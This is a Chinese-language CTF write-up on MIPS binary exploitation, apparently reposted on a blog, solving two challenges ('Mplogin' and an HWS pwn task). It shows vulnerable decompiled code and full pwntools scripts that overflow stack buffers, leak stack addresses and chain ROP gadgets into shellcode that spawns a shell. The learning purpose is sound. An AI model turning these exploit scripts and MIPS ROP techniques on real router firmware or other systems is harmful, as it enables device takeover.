MIPS Pwn賽題學習


MIPS Pwn writeup

Mplogin

靜態分析

     mips pwn入門題。

    mips pwn查找gadget使用IDA mipsrop這個插件,兼容IDA 6.x和IDA 7.x,在IDA 7.5中解決方案可以參考這個鏈接:https://bbs.pediy.com/thread-266102.htm

    程序流程比較簡單,輸入用戶名和密碼進行登錄操作。

   漏洞存在在vuln函數中,buf只有20字節的空間,但是read函數填充了36字節的數據,覆蓋了棧內變量length,將length修改為一個很大的值,在第二次read的時候,就可以溢出修改$ra寄存器保存的地址,劫持數據流。

動態調試

     運行和調試環境:qemu-mipsel-static + chroot +IDA遠程調試。

   漏洞點比較明確,保護機制也不多,MIPS不支持NX就給了我們向棧區寫入shellcode的權利,溢出控制$ra寄存器直接跳轉到shellcode處就可以了。

  由於棧區地址是未知的,在沒有開啟aslr的情況下,可以直接確定shellcode的地址,開啟aslr保護之后,首先要泄露一個棧地址。可能存在地址泄露的點,在sub_400480函數中,跟進這個函數,看一下棧的布局。

   $sp寄存器的值是0x7ffff688,buf的地址在$sp指向的棧頂加18字節處,也就是0x7ffff800是buf起始地址。

   棧中的布局如上圖所示,memset初始化了緩沖區,但是如果填充了24個可見字符的話,就會泄露出0x7ffff6a0,0x7ffff6a0是main函數棧頂地址。

   泄露出一個棧地址,可以幫助我們繞過aslr的保護,讓我們可以把shellcode布置在棧上,然后控制$ra寄存器精准跳轉到棧上來執行shellcode。

  要執行mips的shellcode,需要mips和mipsel的鏈接器,所以需要安裝binutils-mips-linux-gnu和binutils-mipsel-linux-gnu。

apt-get install binutils-mips-linux-gnu
apt-get install binutils-mipsel-linux-gnu

漏洞利用

from pwn import * context.log_level = 'debug' context.arch = 'mips' context.os = 'linux' p = process(["qemu-mipsel","-L","./","./Mplogin"]) elf = ELF('./Mplogin') libc = ELF('./lib/libc.so.0') p.recv() payload = 'admin'+'a'*18 p.sendline(payload) p.recvuntil('a'*18+'\n') main_sp = u32(p.recvn(4)) vuln_sp = main_sp - 0x68 log.success("main $sp : %s"%main_sp) log.success("vuln $sp : %s"%vuln_sp) p.recvuntil('Pre_Password : ') payload = 'access' payload = payload.ljust(0x14,'a') payload += p32(0x200) payload = payload.ljust(35,'b') p.sendline(payload) shellcode = pwnlib.shellcraft.mips.sh() shellcode = pwnlib.asm.asm(shellcode) p.recvuntil('Password : ') payload = '0123456789' payload = payload.ljust(0x28,'a') payload += p32(vuln_sp + 0x68) payload += shellcode p.send(payload) p.interactive()

  對於mips架構,我們依然可以通過pwntools來進行動態調試。

  首先填充字符串,泄露地址信息。

   然后改寫length的值為0x200。

   在第二次調用read的時候,可以看到$a2寄存器被修改為了0x200。

 

  

   輸入點距離保存$ra寄存器地址的偏移是0x28字節,在保存$ra寄存器的地址后面布置好shellcode就可以愉快getshell了。

HWS結營賽題:Pwn

Analysis

  題目的關鍵代碼都在pwn這個函數中。

bool pwn()
{
  int v0; // $v0
  _BOOL4 result; // $v0
  int v3; // [sp+0h] [+0h] BYREF
  int v4[2]; // [sp+10h] [+10h] BYREF
  _BYTE *v5; // [sp+18h] [+18h]
  _BYTE *heap_ptr; // [sp+1Ch] [+1Ch]
  unsigned int i; // [sp+20h] [+20h]
  int j; // [sp+24h] [+24h]
  int v9; // [sp+28h] [+28h]
  int v10; // [sp+2Ch] [+2Ch]
  int v11; // [sp+30h] [+30h]
  int *v12; // [sp+34h] [+34h]
  int *v13; // [sp+38h] [+38h]
  int *v14; // [sp+3Ch] [+3Ch]
  int read_count; // [sp+40h] [+40h]
  int separated_idx; // [sp+44h] [+44h]
  _BYTE *size; // [sp+48h] [+48h]
  int group_num[3]; // [sp+4Ch] [+4Ch] BYREF

  heap_ptr = (_BYTE *)malloc(512);
  puts("Enter the group number: ");
  if ( !_isoc99_scanf("%d", group_num) )
  {
    printf("Input error!");
    exit(-1);
  }
  if ( !group_num[0] || group_num[0] >= 0xAu )
  {
    fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
    exit(-1);
  }
  group_num[1] = (int)&v3;
  v9 = 36;
  v10 = 36 * group_num[0];
  v11 = 36 * group_num[0] - 1;
  v12 = v4;
  memset(v4, 0, 36 * group_num[0]);
  for ( i = 0; ; ++i )
  {
    result = i < group_num[0];
    if ( i >= group_num[0] )
      break;
    v13 = (int *)((char *)v12 + i * v9);
    v14 = v13;
    memset(heap_ptr, 0, 4);
    puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
    read_count = read(0, heap_ptr, 768);        // heap overflow
    if ( v13 )
    {
      v0 = atoi(heap_ptr);
      *v14 = v0;
      separated_idx = strchr(heap_ptr, ':');
      for ( j = 0; heap_ptr++; ++j )
      {
        if ( *heap_ptr == '\n' )
        {
          v5 = heap_ptr;
          break;
        }
      }
      size = &v5[-separated_idx];
      if ( !separated_idx )
      {
        puts("format error!");
        exit(-1);
      }
      memcpy(v14 + 1, separated_idx + 1, size); // stack overflow
    }
    else
    {
      printf("Error!");
      v14[1] = 'aaa\0';
    }
  }
  return result;
}

  題目中,首先申請了一個chunk,chunk的大小是512字節,這個chunk在后面的輸入中會被溢出。

  

   申請出chunk之后,會要求我們輸入group number,輸入的group number會進行檢查,首先要求輸入的必須是數字,同時輸入的第一個字節要么是空格,要么是'\n',否則就會exit(-1)退出執行流程。

    read_count = read(0, heap_ptr, 768);        // heap overflow
    if ( v13 )
    {
      v0 = atoi(heap_ptr);
      *v14 = v0;
      separated_idx = strchr(heap_ptr, ':');
      for ( j = 0; heap_ptr++; ++j )
      {
        if ( *heap_ptr == '\n' )
        {
          v5 = heap_ptr;
          break;
        }
      }
      size = &v5[-separated_idx];
      if ( !separated_idx )
      {
        puts("format error!");
        exit(-1);
      }
      memcpy(v14 + 1, separated_idx + 1, size); // stack overflow
    }

  存在堆溢出的同時,在后面還有對memcpy這個危險函數的調用,memcpy的源地址和目的地址都是棧中保存的地址,size是用戶可控的,我們需要通過調試,來進一步了解棧布局,看看這里有沒有發生溢出的可能。

debug

  在調用memcpy函數之前,看一下$a0,$a1,$a2三個寄存器的值。

 

   $a0保存的是一個棧區地址,而memcpy的第三個參數是可控的,這樣一來,確實有造成棧溢出的危險。

  回溯一下memcpy第三個參數size。

   如圖所示的代碼就是size被賦值的操作,可以看到,size的值是heap_ptr-separated_idx的值,就是說我們":"后面輸入的長度決定了size的大小,如果":"后面輸入的數據特別長的話,自然就發生溢出了。memcpy拷貝的數據也就是堆里的數據,所以我們控制好冒號后面的數據,就可以覆蓋保存$ra寄存器的地址,繼而劫持執行流程。

   如圖所示,返回地址距離棧頂的偏移是0xA4字節,所以首先填充0xA4字節的padding,然后再覆蓋返回地址控制$ra寄存器。

   這道題目,基本也是沒有開保護機制,雖然checksec顯示有canary保護,但是在pwn函數中沒有canary。主要要考慮的還是如何繞過aslr的保護。這道題中沒有泄露信息的地方,所以只能考慮構造rop chain去繞過aslr。由於程序是靜態鏈接,所以不能ret2libc去找system函數。那么如果可以泄露出一個棧地址的話,繼續ret2shellcode也是可以的。

  IDA中有一個尋找gadget的好工具mipsrop,在github中可以找到:https://github.com/tacnetsol/ida

  關於mipsrop,這個帖子里有一些很好用的技巧:https://www.cnblogs.com/hac425/p/9416864.html

   在離開pwn函數的時候,可以通過布置棧數據,繼而控制一些寄存器的值:

   泄露棧地址的話,需要借助到一些輸出函數,常見的輸出函數puts,write,printf等等在這個靜態鏈接的程序中都可以找到。不同的函數需要的寄存器不同,需要注意的條件也不同,puts函數最大的限制是不能輸出'\x00'截斷符,但是需要的參數少。write函數對應的限制就是有三個參數,需要精心構造。

  將棧地址填充到寄存器的gadget有下面這些:

   方便函數調用的gadget可以用mipsrop.tail()或者mipsrop.doubles()來查找。

  mipsrop.stackfinders()里面有將棧地址填充到$v0的gadget,而mipsrop.tail()中有跳轉到$v0的操作,這樣看來,如果控制好shellcode在棧中的布局,直接填充到$v0中,再跳轉到$v0寄存器指向的地址就直接可以執行了。

from pwn import * context.log_level = "debug" context.arch = "mips" context.endian = "big" context.os = "linux" p = process(['qemu-mips','./h4pwn']) stack_a1 = 0x44AEFC
# 0x0044AEFC | addiu $a1,$sp,0x64+var_28 | jalr $s5
li_a1_1 = 0x41F4E8
# 0x0041F4E8 | li $a1,1 | jalr $s1
move_a0_a1 = 0x4384c0
# 0x004384C0 | move $a0,$a1 | jalr $s2 
move_a2_s7 = 0x44B534
# 0x0044B534 | move $a2,$s7 | jalr $s0
move_t9_s4 = 0x41F9B4
# 0x0041F9B4 | move $t9,$s4 | jalr $s4
jr_v0 = [0x45882C,0x458884] # 0x0045882C | move $t9,$v0 | jr $v0 # 0x00458884 | move $t9,$v0 | jr $v0
stack_v0 = 0x44B1EC
# 0x0044B1EC | addiu $v0,$sp,0x6C+var_40 | jalr $s2
write_addr = 0x41E290 pwn_addr = 0x400634 start_addr = 0x400360 main_addr = 0x400AB8 elf = ELF('./h4pwn') shellcode = pwnlib.shellcraft.mips.sh() shellcode = pwnlib.asm.asm(shellcode) p.recvuntil("number: \n") p.sendline(' 1') p.recvuntil("eg => '1:Job.' \n") ''' payload = '1:' payload += 'a'*20 payload += 'a'*0x58 payload += p32(move_t9_s4) # $s0 payload += p32(move_a0_a1) # $s1 payload += p32(stack_a1) # $s2 payload += p32(stack_a1) # $s3 payload += p32(write_addr) # $s4 payload += p32(move_a2_s7) # $s5 payload += p32(move_a2_s7) # $s6 payload += p32(4) # $s7 payload += p32(0xdeadbeef) # $fp payload += p32(li_a1_1) # $ra payload += 'a'*0x28 payload += p32(pwn_addr) p.sendline(payload) main_sp = u32(p.recvn(4)) - 0x2c log.success("main_sp address: %s"%hex(main_sp)) ''' payload = '1:' payload += 'a'*20 payload += 'a'*0x58 payload += p32(jr_v0[1])*8              # $s0 - $s7
payload += 'aaaa'                       # $fp
payload += p32(stack_v0)                # $ra
payload += 'a'*0x2c payload += shellcode payload += '.' p.sendline(payload) #p.recv()
p.interactive()

 總結

   mips pwn的rop chain相對於x86架構來說,稍微復雜一些,主要是控制的寄存器不同,棧楨結構有所不同,構造方式更加多樣化,所以在選擇構造rop的時候,合理借助mipsrop這種工具,注意復雜函數返回時恢復寄存器現場的情況,提前布置好參數。但是利用方式也相對更粗暴一些,主要是由於mips架構硬件的原因,不能支持NX,所以很多時候關鍵在於合理布置shellcode,避免壞字符等等問題。路由器目前主流的漏洞利用方式還是rop,公開的堆漏洞並不多,所以熟練掌握mips架構下rop技術是學習路由器漏洞利用的必經之路。

  千變萬化,rop這種技術基本的框架還是沒有變,核心思想還是控制返回地址,控制指令寄存器,劫持程序的執行流程,做完這兩題,對於mips rop更加熟悉一些,方便后面進行一些路由器漏洞的復現。

 

  

 

 

 

 

 

 

   

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM